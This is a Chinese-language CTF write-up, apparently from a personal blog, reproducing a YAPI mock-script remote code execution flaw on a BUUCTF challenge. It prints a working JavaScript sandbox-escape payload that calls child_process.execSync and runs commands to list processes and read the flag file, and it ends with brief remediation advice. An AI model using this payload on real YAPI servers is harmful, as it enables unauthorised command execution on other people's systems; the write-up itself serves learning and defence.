YAPI远程执行漏洞复现

YAPI远程执行漏洞复现

实验靶机

BUUCTF :题目 ezrce

漏洞详情

YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。

复现

首先打开是一个首页 可以登录注册

请添加图片描述

随便注册一个用户然后登陆

点击添加项目

请添加图片描述

点击设置---全局mock脚本 开启 并且添加脚本 然后保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

请添加图片描述

在接口列表----公共分类 添加接口

请添加图片描述

请添加图片描述

点击Mock地址 访问

请添加图片描述

反显出当前用户 app

请添加图片描述

whoami && ps -ef  查看所有

请添加图片描述

然后再寻找flag

ls /
cat /ffffffflllllaggggg

请添加图片描述

得到flag

请添加图片描述

请添加图片描述

漏洞修复

1.关闭YAPI用户注册功能,阻断攻击者注册;

2.删除恶意已注册用户,避免攻击者再次添加mock脚本;

3.删除恶意mock脚本,防止被再次访问触发;
建议

posted @ 2021-08-02 23:05  FanWd-sec  阅读(287)  评论(0)    收藏  举报